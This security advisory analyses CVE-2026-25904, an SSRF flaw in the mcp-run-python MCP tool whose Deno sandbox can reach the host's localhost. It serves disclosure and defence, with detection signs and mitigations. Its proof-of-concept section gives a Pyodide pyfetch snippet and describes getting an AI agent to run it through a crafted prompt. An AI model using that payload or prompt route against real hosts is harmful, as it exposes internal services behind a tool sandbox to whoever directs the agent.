CVE-2026-25904: 
Python vulnerability analysis and mitigation

CVE-2026-25904 is a Server-Side Request Forgery (SSRF) vulnerability in the Pydantic-AI mcp-run-python tool, caused by an overly permissive Deno sandbox configuration that allows Python code executed within the sandbox to access the host's localhost interface. It was discovered by Natan Nehorai of the JFrog Security Research Team and published on February 9, 2026. All versions of mcp-run-python are affected. The project has since been archived and is unlikely to receive a patch. It carries a CVSS v3.1 base score of 5.8 (Medium) (JFrog Research, Red Hat CVE).

The root cause is classified as CWE-918 (Server-Side Request Forgery), stemming from the Deno sandbox used by mcp-run-python being configured with insufficient network restrictions. Specifically, the sandbox does not block access to the host's loopback (127.0.0.1) interface, allowing Python code running inside the sandbox to make HTTP requests to internal services that should be inaccessible from external contexts. An attacker who can influence the Python code executed by the MCP tool — for example, by crafting a prompt to an AI agent using the tool — can leverage Pyodide's pyfetch API to reach localhost-bound services on the host machine. Exploitation requires user interaction (e.g., an MCP client user invoking the tool) and has high attack complexity (JFrog Research, Feedly).

Successful exploitation allows an attacker to perform SSRF attacks against internal services bound to the host's localhost interface, potentially exposing sensitive internal APIs, administrative panels, metadata services, or other restricted endpoints not intended to be publicly accessible. The CVSS scope is marked as "Changed," indicating the impact extends beyond the sandboxed component itself to the host environment. Confidentiality, integrity, and availability are each assessed as low impact, but the ability to pivot to internal services could facilitate further lateral movement or data exfiltration depending on what services are exposed on localhost (JFrog Research, Feedly).

A proof-of-concept (PoC) was published by JFrog Security Research alongside the initial disclosure on February 9, 2026, demonstrating exploitation via Pyodide's pyfetch API to reach a localhost HTTP server from within the Deno sandbox. The EPSS score is 0.031% (low probability of near-term exploitation), and there is no evidence of in-the-wild exploitation or inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. Exploitation requires user interaction and high attack complexity, limiting opportunistic exploitation (JFrog Research, Feedly).

1. Setup: Configure an MCP client (e.g., Claude Desktop) to use the mcp-run-python tool by adding it to the MCP server configuration:

{
  "mcpServers": {
    "mcp-run-python": {
      "command": "uvx",
      "args": ["mcp-run-python", "stdio"]
    }
  }
}

2. Start a target service: On the host machine, start an HTTP server bound to the localhost interface (simulating an internal service):

python3 -m http.server -b 127.0.0.1 1234

3. Craft malicious Python payload: Prepare a Python snippet using Pyodide's pyfetch to make an HTTP request to the localhost service:

from pyodide.http import pyfetch
response = await pyfetch("http://localhost:1234")
data = await response.text()
print(data)

4. Trigger execution: Instruct the MCP client (e.g., via a prompt to an AI agent) to execute the crafted Python code using the mcp-run-python tool.
5. Observe SSRF: The Deno sandbox, due to its permissive network configuration, forwards the request to the localhost service, and the response is returned to the attacker — confirming SSRF and access to internal services (JFrog Research).

• Network: Unexpected HTTP requests originating from the Deno/mcp-run-python process to 127.0.0.1 or localhost on non-standard ports; outbound connections from the sandbox process to internal-only services.
• Logs: Access logs on localhost-bound services (e.g., web servers, APIs) showing requests from loopback with unusual user-agent strings associated with Pyodide or Deno; MCP tool invocation logs containing pyfetch calls targeting localhost or 127.0.0.1.
• Process: The mcp-run-python or Deno process initiating network connections to loopback addresses, observable via netstat, ss, or process monitoring tools.

No official patch is available, and the mcp-run-python project has been archived and is unlikely to receive a fix. The primary recommended mitigation is to discontinue use of mcp-run-python entirely and migrate to an alternative MCP Python execution tool with a properly restricted sandbox configuration. As a partial workaround, operators can restrict network access at the host or container level (e.g., using firewall rules or network namespaces) to prevent the Deno process from reaching sensitive localhost services. Users should also audit any AI agent workflows that invoke mcp-run-python for potentially malicious or injected Python payloads (JFrog Research, Red Hat CVE).

JFrog Security Research published a detailed advisory and PoC alongside disclosure, noting the project's archived status as a significant concern for deployed instances (JFrog Research). A blog post titled "When the Sandbox Is the Vulnerability: Two CVEs in MCP's Official Python Runner" was published in late February 2026, highlighting this and a related CVE as illustrative of sandbox misconfiguration risks in AI tooling (Telegraph). The vulnerability was also referenced in an OWASP AISVS pull request, indicating growing community attention to AI tool security (OWASP AISVS).